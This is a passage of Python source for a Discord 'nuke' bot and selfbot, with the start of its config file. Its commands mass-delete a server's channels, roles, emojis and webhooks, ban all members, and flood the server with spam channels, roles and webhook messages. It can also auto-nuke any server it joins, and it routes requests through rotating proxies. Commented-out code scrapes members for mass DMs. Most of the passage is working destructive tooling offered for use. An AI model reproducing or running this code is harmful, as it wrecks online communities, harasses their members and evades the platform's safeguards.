560 | await log(ctx, f'Unable to find command `{asked_command}`.') 561 | 562 | @commands.check(checkPerm) 563 | @client.command(name='servers', aliases=['se', 'server']) 564 | async def servers(ctx, n='1'): 565 | await embed(ctx, n, 'Servers', client.guilds) 566 | 567 | @commands.check(checkPerm) 568 | @client.command(name='channels', aliases=['tc', 'textchannels', 'textchannel', 'channel']) 569 | async def channels(ctx, n='1'): 570 | if not await hasTarget(ctx): 571 | return 572 | await embed(ctx, n, 'Text channels', selected_server.text_channels) 573 | 574 | @commands.check(checkPerm) 575 | @client.command(name='roles', aliases=['ro', 'role']) 576 | async def roles(ctx, n='1'): 577 | if not await hasTarget(ctx): 578 | return 579 | await embed(ctx, n, 'Roles', selected_server.roles) 580 | 581 | @commands.check(checkPerm) 582 | @client.command(name='categories', aliases=['cat', 'category']) 583 | async def categories(ctx, n='1'): 584 | if not await hasTarget(ctx): 585 | return 586 | await embed(ctx, n, 'Categories', selected_server.categories) 587 | 588 | @commands.check(checkPerm) 589 | @client.command(name='voiceChannels', aliases=['vc', 'voicechannel']) 590 | async def voiceChannels(ctx, n='1'): 591 | if not await hasTarget(ctx): 592 | return 593 | await embed(ctx, n, 'Voice channels', selected_server.voice_channels) 594 | 595 | @commands.check(checkPerm) 596 | @client.command(name='emojis', alises=['em', 'emoji']) 597 | async def emojis(ctx, n='1'): 598 | if not await hasTarget(ctx): 599 | return 600 | await embed(ctx, n, 'Emojis', selected_server.emojis) 601 | 602 | @commands.check(checkPerm) 603 | @client.command(name='members', alises=['me', 'member']) 604 | async def members(ctx, command='1', *, args=None): 605 | if not await hasTarget(ctx): 606 | return 607 | await embed(ctx, command, 'Members', selected_server.members) 608 | 609 | # global server_members 610 | 611 | # if command.isdigit(): 612 | # if is_selfbot: 613 | # await embed(ctx, command, 'Members', server_members) 614 | # else: 615 | # await embed(ctx, command, 'Members', selected_server.members) 616 | # else: 617 | # # def gFetchableChannel(channel_id): # check if the channel is good for fectching channel 618 | # # pass 619 | # if command == 'fetch': 620 | # global fetching_members 621 | # args = args.split() 622 | 623 | # if not is_selfbot: 624 | # await log(ctx, f'Fetch command is only made for selfbot; since you are using normal bots, all members in the server `{selected_server.name}` has already be fetched. Try `{command_prefix}members` to see all the fetched members.') 625 | # return 626 | 627 | # if args[0].lower() == 'auto': 628 | # channel_id = autoFindChannel() 629 | # if channel_id is None: 630 | # await log(ctx, f'Unable to find welcome channels. You have to enter the welcome channel\'s in server `{selected_server.name}` manually.') 631 | # return 632 | # elif args[0].lower() == 'stop': 633 | # fetching_members = False 634 | # await log(ctx, 'Fetching stopped.') 635 | # return 636 | # elif args[0].isdigit(): 637 | # channel_id = args[0] 638 | # else: 639 | # await log(ctx, 'Invalid argument: You can only enter `fetch auto` or `fetch `.') 640 | # return 641 | # # Making sure channel_id is a string 642 | # channel_id = str(channel_id) 643 | 644 | # if len(args) < 3: 645 | # cooldown = 0 646 | # elif args[2].isdigit(): 647 | # cooldown = int(args[2]) 648 | # else: 649 | # await log(ctx, 'Please set a positive integer for the cooldown time of fetching every 100 messages. Use `0` if you don\'t want a cooldown.') 650 | # return 651 | 652 | # if args[1].lower() == 'fast': 653 | # fetching_members = True 654 | # url = f'https://discord.com/api/v8/channels/{channel_id}/messages?limit=100' 655 | # await log(ctx, f'```Fetching has started.\nCheck progress: `{command_prefix}members`\nStop fetching: `{command_prefix}members fetch stop`.\nCooldown: `{cooldown}` seconds.\nNote: duplicated users will only get removed after the fetching stops.```') 656 | # while fetching_members: 657 | # r = requests.get(url, headers=headers, proxies=randomProxy('https'), timeout=timeout).json() 658 | # if len(r) == 0: 659 | # break 660 | # for message in r: 661 | # if message['mentions']: # len(message['content']) > 0 and 662 | # for mention in message['mentions']: 663 | # copyMember(mention) 664 | # elif len(message['attachments']) > 0: 665 | # pass # no handler for images 666 | # elif len(message['embeds']) > 0: 667 | # pass # no handlers for embeds mentions 668 | # else: 669 | # copyMember(message['author']) 670 | # url = f'https://discord.com/api/v8/channels/{channel_id}/messages?before={r[-1]["id"]}&limit=100' 671 | # if cooldown > 0: 672 | # await asyncio.sleep(cooldown) 673 | 674 | # elif args[1].lower() == 'all': 675 | # await log(ctx, f'```Fetching has started.\nCheck progress: `{command_prefix}members`\nStop fetching: `{command_prefix}members fetch stop`.\nCooldown: `{cooldown}` seconds.\nNote: duplicated users will only get removed after the fetching stops.```') 676 | # pass 677 | # else: 678 | # await log(ctx, 'You need to choose a fetching operation. Options are `all` or `fast`.') 679 | 680 | # # Removing duplicates 681 | 682 | # if len(server_members) > 1: 683 | # temp = [] 684 | # temp.append(server_members[0]) 685 | # for member_ in server_members: 686 | # for i in temp: 687 | # temp.append(member_) 688 | 689 | # server_members = temp 690 | 691 | @commands.check(checkPerm) 692 | @client.command(name='bans') 693 | async def bans(ctx, n='1'): 694 | if not await hasTarget(ctx): 695 | return 696 | await embed(ctx, n, 'Bans', [s.user for s in await selected_server.bans()]) 697 | 698 | @commands.check(checkPerm) 699 | @client.command(name='connect', aliases=['con']) 700 | async def connect(ctx, *, server=None): 701 | if server is None and ctx.guild is None: 702 | await log(ctx, f'Providing a server name is required.') 703 | return 704 | 705 | if server is None and not isDM(ctx): 706 | server = ctx.guild 707 | else: 708 | temp_name = server 709 | server = containing(client.guilds, server) 710 | if server is None: 711 | await log(ctx, f'Unable to find {temp_name} server.') 712 | return 713 | 714 | global selected_server 715 | selected_server = server 716 | await log(ctx, f'Successfully connected to `{server.name}`.') 717 | 718 | ######### Unities ########## 719 | @commands.check(checkPerm) 720 | @client.command(name='addChannel', aliases=['aCh', 'aChannel']) 721 | async def addChannel(ctx, channel_name, *, category=None): 722 | if not await hasTarget(ctx): 723 | return 724 | 725 | if category is not None: 726 | temp = category 727 | category = containing(selected_server.categories, category) 728 | if category is None: 729 | await log(ctx, f'Unable to find category `{temp}`.') 730 | return 731 | 732 | try: 733 | await selected_server.create_text_channel(channel_name, category=category) 734 | if category is None: 735 | category = 'No category.' 736 | else: 737 | category = category.name 738 | await log(ctx, f'Successfully added channel `{channel_name}` to category `{category}`.') 739 | except: 740 | await log(ctx, f'Unable to add channel `{channel_name}`.') 741 | raise 742 | 743 | @commands.check(checkPerm) 744 | @client.command(name='addVoiceChannel', aliases=['aVoiceChannel', 'aVC']) 745 | async def addVoiceChannel(ctx, voice_channel, *, category=None): 746 | if not await hasTarget(ctx): 747 | return 748 | 749 | if category is not None: 750 | temp = category 751 | category = containing(selected_server.categories, category) 752 | if category is None: 753 | await log(ctx, f'Unable to find category `{temp}`.') 754 | return 755 | 756 | try: 757 | await selected_server.create_voice_channel(voice_channel, category=category) 758 | if category is None: 759 | category = 'No category.' 760 | else: 761 | category = category.name 762 | await log(ctx, f'Successfully added VC `{voice_channel}` to category `{category}`.') 763 | except: 764 | await log(ctx, f'Unable to add VC `{voice_channel}`.') 765 | raise 766 | 767 | @commands.check(checkPerm) 768 | @client.command(name='addEmoji', aliases=['aEmoji', 'aEm']) 769 | async def addEmoji(ctx, item, *, name=None, bits=None): 770 | if not await hasTarget(ctx): 771 | return 772 | 773 | if bits is None: 774 | # Raw IPv4 and IPv6 are not supported 775 | if item.startswith(('https://', 'http://', 'ftp://', 'ftps://')): # Link EX: https://www.example.com/aaa.png 776 | try: 777 | if name is None: 778 | await log(ctx, 'Name for emoji? I\'m not always going to name it for you...') 779 | return 780 | await selected_server.create_custom_emoji(name=(name), image=BytesIO(requests.get(item).content).read()) 781 | await log(ctx, f'Successfully added emoji `{name}`.') 782 | except: 783 | raise 784 | 785 | elif item[0] == '<': # EX: 786 | item = item.split(':') 787 | if name is None: 788 | name = item[1] 789 | try: 790 | if item[0] == ' 5: 1051 | consoleLog(f'Rate limiting has been reached, and this request has been cancelled due to retry-after time is greater than 5 seconds: Wait {str(r["retry_after"])} more seconds.') 1052 | q.task_done() 1053 | continue 1054 | consoleLog(f'Rate limiting has been reached: Wait {str(r["retry_after"])} more seconds.') 1055 | q.put((requesting, url, headers, payload)) 1056 | elif want_log_request and 'code' in r: 1057 | consoleLog('Request cancelled due to -> ' + r['message']) 1058 | except json.decoder.JSONDecodeError: 1059 | pass 1060 | except requests.exceptions.ProxyError: 1061 | consoleLog(f'Proxy "{proxy}" did not respond to a request. Trying...') 1062 | q.put((requesting, url, headers, payload)) 1063 | except requests.exceptions.ConnectTimeout: 1064 | consoleLog(f'Proxy reached maximum load time: timeout is {timeout} seconds long {proxy}') 1065 | q.put((requesting, url, headers, payload)) 1066 | except Exception as e: 1067 | consoleLog(f'Unexpected error: {str(e)}') 1068 | 1069 | q.task_done() 1070 | 1071 | for i in range(concurrent): 1072 | Thread(target=requestMaker, daemon=True).start() 1073 | 1074 | @commands.check(checkPerm) 1075 | @client.command(name='channelBomb') 1076 | async def channelBomb(ctx, n, method='fixed'): 1077 | if not await hasTarget(ctx): 1078 | return 1079 | 1080 | if not n.isdigit() or (n := int(n)) < 0: 1081 | await log(ctx, 'Please insert an integer that is greater than 0.') 1082 | return 1083 | 1084 | if method == 'fixed': 1085 | method = fixedChoice 1086 | elif method == 'b64': 1087 | method = random_b64 1088 | elif method == 'an': 1089 | method = random_an 1090 | else: 1091 | await log(ctx, f'Unable to find choice "{method}".') 1092 | return 1093 | 1094 | consoleLog('Channel bombing has started.', True) 1095 | for i in range(n): 1096 | payload = { 1097 | 'type': 0, 1098 | 'name': method(), 1099 | 'permission_overwrites': [] 1100 | } 1101 | q.put((requests.post, f'https://discord.com/api/v8/guilds/{selected_server.id}/channels', headers, payload)) 1102 | 1103 | q.join() 1104 | consoleLog('Done text channel bombing.', True) 1105 | 1106 | @commands.check(checkPerm) 1107 | @client.command(name='categoryBomb') 1108 | async def categoryBomb(ctx, n, method): 1109 | if not await hasTarget(ctx): 1110 | return 1111 | 1112 | if not n.isdigit() or (n := int(n)) < 0: 1113 | await log(ctx, 'Please insert an integer that is greater than 0.') 1114 | return 1115 | 1116 | if method == 'fixed': 1117 | method = fixedChoice 1118 | elif method == 'b64': 1119 | method = random_b64 1120 | elif method == 'an': 1121 | method = random_an 1122 | else: 1123 | await log(ctx, f'Unable to find choice "{method}".') 1124 | return 1125 | 1126 | consoleLog('Channel bombing has started.', True) 1127 | for i in range(n): 1128 | payload = { 1129 | 'type': 4, 1130 | 'name': method(), 1131 | 'permission_overwrites': [] 1132 | } 1133 | q.put((requests.post, f'https://discord.com/api/v8/guilds/{selected_server.id}/channels', headers, payload)) 1134 | 1135 | q.join() 1136 | consoleLog('Done category bombing.', True) 1137 | 1138 | @commands.check(checkPerm) 1139 | @client.command(name='roleBomb') 1140 | async def roleBomb(ctx, n, method): 1141 | if not await hasTarget(ctx): 1142 | return 1143 | 1144 | if not n.isdigit() or (n := int(n)) < 0: 1145 | await log(ctx, 'Please insert an integer that is greater than 0.') 1146 | return 1147 | 1148 | if method == 'fixed': 1149 | method = fixedChoice 1150 | elif method == 'b64': 1151 | method = random_b64 1152 | elif method == 'an': 1153 | method = random_an 1154 | else: 1155 | await log(ctx, f'Unable to find choice "{method}".') 1156 | return 1157 | 1158 | consoleLog('Role bombing has started.', True) 1159 | for i in range(n): 1160 | payload = { 1161 | 'name': method() 1162 | } 1163 | q.put((requests.post, f'https://discord.com/api/v8/guilds/{selected_server.id}/roles', headers, payload)) 1164 | 1165 | q.join() 1166 | consoleLog('Done role bombing.', True) 1167 | 1168 | # @commands.check(checkPerm) 1169 | # @client.command(name='massDM', aliases=['md']) 1170 | # async def massDM(ctx, command, *, args=None): 1171 | # if len(server_members) == 0: 1172 | # await log(ctx, 'You don\'t have anything anyone to dm with :(. Fetch some members.') 1173 | # return 1174 | 1175 | # if args is not None: 1176 | # args = args.split() 1177 | 1178 | # if command == 'channels' or command == 'channel': 1179 | # if args is None: 1180 | # args = [] 1181 | # args.append('1') 1182 | # members_ = [] 1183 | # for i in range(len(server_members)): 1184 | # if members_[i].channel_id is not None: 1185 | # members_[i].id = members_[i].channel_id 1186 | 1187 | # await embed(ctx, args[0], 'MassDM targets', members_) 1188 | # elif command == 'load': 1189 | # for member_ in server_members: 1190 | # print(member_.name) 1191 | # if int(member_.id) == client.user.id: 1192 | # continue 1193 | # # asdf = requests.post('https://discordapp.com/api/v8/users/@me/channels', headers=headers, json={'recipient_id': member_.id}, proxies=randomProxy('https'), timeout=timeout).json() 1194 | # member_.__init__(member_.name, member_.id, member_.discriminator, client.get_user(member_.id).dm_channel.id) 1195 | # elif command == 'start': 1196 | # massDM_channels = [i.channel_id for i in server_members if i.channel_id is not None] 1197 | # if len(massDM_channels) == 0: 1198 | # await log(ctx, 'You don\'t have any DM loaded.') 1199 | # return 1200 | # for channel_id in massDM_channels: 1201 | # q.put((f'https://discordapp.com/api/v8/channels{channel_id}/messages', headers)) 1202 | 1203 | ######### webhooks ########## 1204 | @commands.check(checkPerm) 1205 | @client.command(name='webhook', aliases=['webhooks', 'wh']) 1206 | async def webhook(ctx, *, args=None): 1207 | if not await hasTarget(ctx): 1208 | return 1209 | 1210 | if args is None or args.isdigit(): # webhook list 1211 | if args is None: 1212 | args = '1' 1213 | try: 1214 | await embed(ctx, args, 'Webhooks', await selected_server.webhooks()) 1215 | return 1216 | except: 1217 | raise 1218 | args = args.split() 1219 | if args[0] == 'create' or args[0] == 'add': # webhook create 1220 | global headers 1221 | args.pop(0) 1222 | if len(args) < 1: 1223 | await log(ctx, f'More arguments is requested. You can put how many webhooks you want to create or channel id/name on the channels you want the webhooks to be created on.') 1224 | return 1225 | name = ' '.join(args) 1226 | 1227 | webhooks = await selected_server.webhooks() 1228 | webhooks_length = len(webhooks) 1229 | 1230 | channels = name.split() 1231 | if int(name) < 0: 1232 | await log(ctx, f'A smol negative number will break this bot?') 1233 | return 1234 | 1235 | if len(channels) == 1 and int(name) <= 50: ## probably will replace this with auto check channel id 1236 | channels = selected_server.text_channels 1237 | if int(name) > len(channels): 1238 | await log(ctx, f'This adding webhooks method can only distribute webhooks evenly and randomly throughout the text channels. You entered `{name}`, and there are only `{str(len(channels))}` text channel(s) in the server. If you don\'t what to add more text channels. You can use this command a few more times with a positive integer that is less than `{str(len(channels) + 1)}`.') 1239 | return 1240 | for i in range(int(name)): 1241 | payload = {'name': random_b64()} 1242 | q.put((requests.post, f'https://discord.com/api/v8/channels/{channels.pop(randrange(len(channels))).id}/webhooks', headers, payload)) 1243 | q.join() 1244 | await log(ctx, f'`{name}` webhooks has been created.') 1245 | elif len(channels) == 1 and int(name) < 100000000: 1246 | await log(ctx, f'The maximum webhooks that can be created every hour per server is 50. And you entered `{name}`.') 1247 | else: 1248 | for channel in channels: 1249 | checked_channel = containing(selected_server.text_channels, channel) 1250 | if checked_channel is None: 1251 | await log(ctx, f'Cannot find channel {channel}.') 1252 | continue 1253 | payload = {'name': random_b64()} 1254 | q.put((requests.post, f'https://discord.com/api/v8/channels/{checked_channel.id}/webhooks', headers, payload)) 1255 | elif args[0] == 'delete' or args[0] == 'remove': 1256 | name = args[1] 1257 | 1258 | webhook = containing(await selected_server.webhooks(), name) 1259 | if webhook is None: 1260 | await log(ctx, f'Unable to find webhook `{name}`.') 1261 | return 1262 | 1263 | requests.delete(f'https://discord.com/api/v8/webhooks/{webhook.id}', headers=headers) 1264 | await log(ctx, f'Webhook `{webhook.name}` is removed from the server.') 1265 | 1266 | elif args[0] == 'attack': 1267 | global webhook_targets 1268 | args.pop(0) # Removing the attack keyword 1269 | try: 1270 | webhooks = await selected_server.webhooks() 1271 | webhooks_length = len(webhooks) 1272 | loaded_length = 0 1273 | if len(args) > 0 and args[0].lower() == 'all': 1274 | for webhook in webhooks: 1275 | webhook_targets.append(webhook) 1276 | loaded_length += 1 1277 | elif args[0] == 'start': 1278 | target_list_length = len(webhook_targets) 1279 | if target_list_length == 0: 1280 | await log(ctx, f'Looks like there really isn\'t any targets in the attack list. Maybe try: `{command_prefix}webhook attack all`, then `{command_prefix}webhook attack start `.') 1281 | return 1282 | _headers = { 1283 | 'content-type': 'application/json' 1284 | } 1285 | 1286 | if len(args) < 2: 1287 | args.append(10) 1288 | elif not args[1].isdigit(): 1289 | await log(ctx, 'Please enter a positive integer.') 1290 | return 1291 | 1292 | usernames_length = len(webhook_spam['usernames']) 1293 | contents_length = len(webhook_spam['contents']) 1294 | pfp_length = len(webhook_spam['pfp_urls']) 1295 | 1296 | for i in range(int(args[1])): 1297 | payload = { 1298 | 'username': choice(webhook_spam['usernames']), 1299 | 'content': choice(webhook_spam['contents']), 1300 | 'avatar_url': choice(webhook_spam['pfp_urls']) 1301 | } 1302 | q.put((requests.post, webhook_targets[randrange(target_list_length)].url, _headers, payload)) 1303 | 1304 | elif len(args) > 0 and args[0].isdigit() and int(args[0]) <= webhooks_length: 1305 | for i in range(int(args[0])): 1306 | webhook_targets.append(webhooks.pop(randrange(webhooks_length))) 1307 | webhooks_length -= 1 1308 | loaded_length += 1 1309 | elif args[0] == 'list': 1310 | if len(args) < 2: 1311 | args.append('1') 1312 | await embed(ctx, args[1], 'Targets on attacking list', webhook_targets) 1313 | elif args[0] == 'offload': 1314 | webhook_targets = [] 1315 | await log(ctx, f'All webhooks have been offloaded') 1316 | else: 1317 | for webhook in args: 1318 | webhook = containing(await selected_server.webhooks(), webhook) 1319 | if webhook is None: 1320 | await log(ctx, f'Unable to find webhook `{webhook}`.') 1321 | continue 1322 | webhook_targets.append(webhook) 1323 | loaded_length += 1 1324 | 1325 | if args[0] != 'list' and args[0] != 'start' and args[0] != 'offload': 1326 | await log(ctx, f'`{str(loaded_length)}` has been loaded into the target list.') 1327 | 1328 | except: 1329 | raise 1330 | 1331 | else: 1332 | await log(ctx, f'Unable to find `{args[0]}` command in webhook scripts.') 1333 | 1334 | 1335 | ######### Nukes ######### 1336 | @commands.check(checkPerm) 1337 | @client.command(name='nuke') 1338 | async def nuke(ctx): 1339 | if not await hasTarget(ctx): 1340 | return 1341 | 1342 | await log(ctx, f'A nuke has been launched to `{selected_server.name}`.') 1343 | tasks = [deleteAllChannels(ctx), deleteAllEmojis(ctx), deleteAllRoles(ctx), banAll(ctx), deleteAllWebhooks(ctx)] 1344 | await asyncio.gather(*tasks) 1345 | 1346 | if len(after) > 0: 1347 | if selected_server.id == ctx.guild.id: ## this will still cause an id not found error: fix this later 1348 | ctx.message.channel = None 1349 | 1350 | consoleLog(f'{Fore.BLUE}Running after commands...', True) 1351 | for command in after: 1352 | # Lol im so smart to think something like this would work 1353 | try: 1354 | ctx.message.content = command_prefix + command 1355 | await client.process_commands(ctx.message) 1356 | # if not server_changes and command.lower().startswith(('si', 'sn', 'servericon', 'changeservericon', 'servername', 'changeservername')): 1357 | # pass 1358 | except: 1359 | consoleLog(f'{Fore.RED}Command {Fore.YELLOW}"{command_prefix}{command}" {Fore.RED}has failed to execute.', True) 1360 | pass 1361 | 1362 | consoleLog(f'{Fore.GREEN}After commands completed.') 1363 | 1364 | @commands.check(checkPerm) 1365 | @client.command(name='deleteAllRoles', aliases=['dar', 'dAllRoles']) 1366 | async def deleteAllRoles(ctx): 1367 | if not await hasTarget(ctx): 1368 | return 1369 | 1370 | consoleLog(f'{Fore.YELLOW}Starting to delete all roles...', True) 1371 | for role in selected_server.roles: 1372 | q.put((requests.delete, f'https://discord.com/api/v8/guilds/{selected_server.id}/roles/{role.id}', headers, None)) 1373 | 1374 | q.join() 1375 | consoleLog(f'{Fore.GREEN}Finished deleting roles.', True) 1376 | 1377 | @commands.check(checkPerm) 1378 | @client.command(name='deleteAllChannels', aliases=['dac', 'dAllChannels']) 1379 | async def deleteAllChannels(ctx): 1380 | if not await hasTarget(ctx): 1381 | return 1382 | 1383 | consoleLog(f'{Fore.YELLOW}Starting to delete all types of channels...', True) 1384 | for channel in selected_server.channels: 1385 | q.put((requests.delete, f'https://discord.com/api/v8/channels/{channel.id}', headers, None)) 1386 | 1387 | q.join() 1388 | consoleLog(f'{Fore.GREEN}Finished deleting channels.', True) 1389 | 1390 | @commands.check(checkPerm) 1391 | @client.command(name='deleteAllEmojis', aliases=['dae', 'dAllEmoji']) 1392 | async def deleteAllEmojis(ctx): 1393 | if not await hasTarget(ctx): 1394 | return 1395 | 1396 | consoleLog(f'{Fore.YELLOW}Starting to delete all emojis...', True) 1397 | for emote in selected_server.emojis: 1398 | q.put((requests.delete, f'https://discord.com/api/v8/guilds/{selected_server.id}/emojis/{emote.id}', headers, None)) 1399 | 1400 | q.join() 1401 | consoleLog(f'{Fore.GREEN}Finished deleting emojis.', True) 1402 | 1403 | @commands.check(checkPerm) 1404 | @client.command(name='deleteAllWebhooks', aliases=['daw', 'dAllWebhooks']) 1405 | async def deleteAllWebhooks(ctx): 1406 | if not await hasTarget(ctx): 1407 | return 1408 | 1409 | consoleLog(f'{Fore.YELLOW}Starting to delete all webhooks...', True) 1410 | for webhook in await selected_server.webhooks(): 1411 | q.put((requests.delete, f'https://discord.com/api/v8/webhooks/{webhook.id}', headers, None)) 1412 | 1413 | q.join() 1414 | consoleLog(f'{Fore.GREEN}Finished deleting webhooks.', True) 1415 | 1416 | @commands.check(checkPerm) 1417 | @client.command(name='banAll') 1418 | async def banAll(ctx): 1419 | if not await hasTarget(ctx): 1420 | return 1421 | 1422 | payload = {'delete_message_days':'0', 'reason': ''} 1423 | consoleLog(f'{Fore.YELLOW}Starting ban all...', True) 1424 | for member_ in selected_server.members: 1425 | q.put((requests.put, f'https://discord.com/api/v8/guilds/{selected_server.id}/bans/{member_.id}', headers, payload)) 1426 | 1427 | q.join() 1428 | consoleLog(f'{Fore.GREEN}Ban all completed.', True) 1429 | 1430 | ## Additional functions ## 1431 | @commands.check(checkPerm) 1432 | @client.command(name='checkRolePermissions', aliases=['check', 'crp']) 1433 | async def checkRolePermissions(ctx, name, n='1'): 1434 | if not await hasTarget(ctx): 1435 | return 1436 | if not n.isdigit() or (n := int(n) - 1) < 0: 1437 | await log(ctx, 'Bad page number.') 1438 | return 1439 | member_ = containing(selected_server.members, nameIdHandler(name)) 1440 | if member_ is None: 1441 | await log(ctx, f'Unable to found {name}.') 1442 | return 1443 | value = member_.guild_permissions.value 1444 | 1445 | temp = sorted(member_.guild_permissions, key=lambda p: p) 1446 | master_list = '' 1447 | 1448 | item_length = 31 1449 | init_item = n * per_page 1450 | final_item = init_item + per_page 1451 | if init_item > item_length - per_page: 1452 | if init_item > item_length: 1453 | await ctx.send('Invalid page number.') 1454 | return 1455 | final_item = init_item + (item_length % per_page) 1456 | else: 1457 | final_item = init_item + per_page 1458 | for i in range(init_item, final_item, 1): 1459 | item, has_perm = temp[i] 1460 | if has_perm: 1461 | master_list += ':white_check_mark: ' 1462 | else: 1463 | master_list += ':x: ' 1464 | master_list += item.replace('_', ' ').capitalize() + '\n' 1465 | 1466 | if not isDM(ctx) and ctx.guild.id == selected_server.id and 1 << 11 & selected_server.me.guild_permissions.value == 0: 1467 | consoleLog('\n%s*Check role permissions*\n%sPermission value -> %s%d : 2147483647\n%s %s%d/%d' % (Fore.CYAN, Fore.RESET, Fore.YELLOW, value, master_list.replace(':white_check_mark:', f'{Fore.GREEN}+').replace(':x:', f'{Fore.RED}-'), Fore.YELLOW, n+1, ceil(item_length / per_page)), True) 1468 | else: 1469 | try: 1470 | embed = discord.Embed( 1471 | title = 'User permissions', 1472 | description = f'Encoded value: {str(value)} : 2147483647', 1473 | color = discord.Color.red() 1474 | ) 1475 | 1476 | embed.add_field(name='Permissions', value=master_list, inline=True) 1477 | embed.set_footer(text=f'{str(n+1)}/{str(ceil(item_length / per_page))}') 1478 | await ctx.send(embed=embed) 1479 | except: 1480 | await ctx.send('```diff\n%s %d/%d```' % (master_list.replace(':white_check_mark:', '+').replace(':x:', '-'), n+1, ceil(item_length / per_page))) 1481 | 1482 | @commands.check(checkPerm) 1483 | @client.command(name='si', aliases=['serverIcon', 'changeServerIcon']) 1484 | async def si(ctx, path=None): 1485 | if not await hasTarget(ctx): 1486 | return 1487 | 1488 | if path is None: 1489 | await selected_server.edit(icon=None) 1490 | await log(ctx, f'Successfully removed the server icon from `{selected_server.name}`.') 1491 | elif path.startswith(('https://', 'http://', 'ftp://', 'ftps://')): # Link EX: https://www.example.com/aaa.png 1492 | try: 1493 | await selected_server.edit(icon=BytesIO(requests.get(path).content).read()) 1494 | consoleLog('Successfully changed the current server icon.') 1495 | except: 1496 | consoleLog(f'Unable to change the server icon to "{path}".') 1497 | 1498 | elif path[0] == '<': # EX: 1499 | path = path.split(':') 1500 | try: 1501 | if path[0] == ' {str(delay_time)} seconds') 1560 | else: 1561 | break 1562 | 1563 | 1564 | 1565 | @commands.check(checkPerm) 1566 | @client.command(name='leave') 1567 | async def leave(ctx, name=None): 1568 | if name is None: 1569 | if not await hasTarget(ctx): 1570 | return 1571 | await selected_server.leave() 1572 | else: 1573 | server = containing(client.guilds, name) 1574 | if server is None: 1575 | await log(ctx, f'Unable to find server {name}.') 1576 | return 1577 | await server.leave() 1578 | 1579 | if not isDM(ctx) and ctx.guild.id == selected_server.id: 1580 | consoleLog(f'{Fore.BLUE}Goodbye {selected_server.name}! {Fore.YELLOW}-> {Fore.GREEN}Left {Fore.RESET}{selected_server.name}.', True) 1581 | else: 1582 | await log(ctx, f'Goodbye {selected_server.name}! -> Left {selected_server.name}.') 1583 | 1584 | @commands.check(checkPerm) 1585 | @client.command(name='leaveAll') 1586 | async def leaveAll(ctx): 1587 | await log(ctx, 'Leaving all servers. Note: You won\'t be able to message me after I left all servers.') 1588 | for server in client.guilds: 1589 | await server.leave() 1590 | consoleLog('Left all servers.', True) 1591 | 1592 | @commands.check(checkPerm) 1593 | @client.command(name='joinNuke', aliases=['nukeOnJoin', 'join nuke']) 1594 | async def joinNuke(ctx, true_or_false): 1595 | global saved_ctx, nuke_on_join 1596 | if true_or_false.lower() == 'true': 1597 | saved_ctx = ctx 1598 | nuke_on_join = True 1599 | await log(ctx, 'Nuke on bot joining a new server has been turned on.') 1600 | elif true_or_false.lower() == 'false': 1601 | nuke_on_join = False 1602 | await log(ctx, 'Nuke on bot joining a new server has been turned off.') 1603 | else: 1604 | await log(ctx, 'Invalid flag: true or false. Note: true or false is not case sensitive.') 1605 | 1606 | @commands.check(checkPerm) 1607 | @client.command(name='changeStatus', aliases=['cs']) 1608 | async def changeStatus(ctx, status): 1609 | if status == 'offline': 1610 | await client.change_presence(status=discord.Status.offline) 1611 | elif status == 'invisible': 1612 | await client.change_presence(status=discord.Status.invisible) 1613 | elif status == 'online': 1614 | await client.change_presence(status=discord.Status.online) 1615 | elif status == 'idle': 1616 | await client.change_presence(status=discord.Status.idle) 1617 | elif status == 'dnd' or status == 'do_not_disturb': 1618 | await client.change_presence(status=discord.Status.do_not_disturb) 1619 | 1620 | @commands.check(checkPerm) 1621 | @client.command(name='link', aliases=['l']) 1622 | async def link(ctx): 1623 | if not is_selfbot: 1624 | await ctx.channel.send(f'https://discord.com/api/oauth2/authorize?client_id={client.user.id}&permissions={bot_permission}&scope=bot') 1625 | else: 1626 | await log(ctx, f'This account is not a bot :). You can join servers with invite codes.') 1627 | 1628 | @commands.check(checkPerm) 1629 | @client.command(name='autoNick', aliases=['an']) 1630 | async def autoNick(ctx): 1631 | if not await hasTarget(ctx): 1632 | return 1633 | 1634 | # global headers 1635 | 1636 | global auto_nick 1637 | if not auto_nick: 1638 | consoleLog(f'{Fore.CYAN}Auto nickname is on.', True) 1639 | auto_nick = True 1640 | while auto_nick: 1641 | # payload = {'nick': ''.join(choice(alphanum) for _ in range(10))} 1642 | # q.put((requests.patch, f'https://discord.com/api/v8/guilds/{selected_server.id}/members/%40me/nick', headers, payload)) 1643 | 1644 | await selected_server.me.edit(nick=''.join(choice(alphanum) for _ in range(10))) 1645 | else: 1646 | consoleLog(f'{Fore.BLUE}Auto nickname is off.', True) 1647 | auto_nick = False 1648 | 1649 | @commands.check(checkPerm) 1650 | @client.command(name='autoStatus', aliases=['as']) 1651 | async def autoStatus(ctx): 1652 | 1653 | global auto_status 1654 | if not auto_status: 1655 | consoleLog(f'{Fore.CYAN}Auto status is on.', True) 1656 | auto_status = True 1657 | while auto_status: 1658 | await client.change_presence(status=discord.Status.online) 1659 | await asyncio.sleep(random() + 0.3) # Theres a rate limit for changing status every minute or 5 minutes i havent figure out the exact number but ill stay with this sleep commmand 1660 | await client.change_presence(status=discord.Status.offline) 1661 | await asyncio.sleep(random() + 0.3) 1662 | else: 1663 | consoleLog(f'{Fore.BLUE}Auto status is off.', True) 1664 | auto_status = False 1665 | 1666 | 1667 | @commands.check(checkPerm) 1668 | @client.command(name='off', aliases=['logout', 'logoff', 'shutdown', 'stop']) 1669 | async def off(ctx=None): 1670 | ### Discord takes too long to realize if the bot is offline people might get confused about the not turning off the bot vs discord takes time to update 1671 | await changeStatus(None, 'offline') 1672 | await client.logout() 1673 | 1674 | ###### Closing handler ###### 1675 | 1676 | ###### https://github.com/aio-libs/aiohttp/issues/4324 1677 | from functools import wraps 1678 | from asyncio.proactor_events import _ProactorBasePipeTransport 1679 | def silence_event_loop_closed(func): 1680 | @wraps(func) 1681 | def wrapper(self, *args, **kwargs): 1682 | try: 1683 | return func(self, *args, **kwargs) 1684 | except RuntimeError as e: 1685 | if str(e) != 'Event loop is closed': 1686 | raise 1687 | return wrapper 1688 | _ProactorBasePipeTransport.__del__ = silence_event_loop_closed(_ProactorBasePipeTransport.__del__) 1689 | 1690 | try: 1691 | client.run(token, bot=not is_selfbot) 1692 | # except discord.LoginFailure: 1693 | # print('Invalid token is being used.') 1694 | # exit() 1695 | except discord.PrivilegedIntentsRequired: 1696 | print('PrivilegedIntentsRequired: This field is required to request for a list of members in the discord server that the bot is connected to. Watch https://youtu.be/DXnEFoHwL1A?t=44 to see how to turn on the required field.') 1697 | finally: 1698 | print('Exiting...') -------------------------------------------------------------------------------- /default.json: -------------------------------------------------------------------------------- 1 | { 2 | "token": 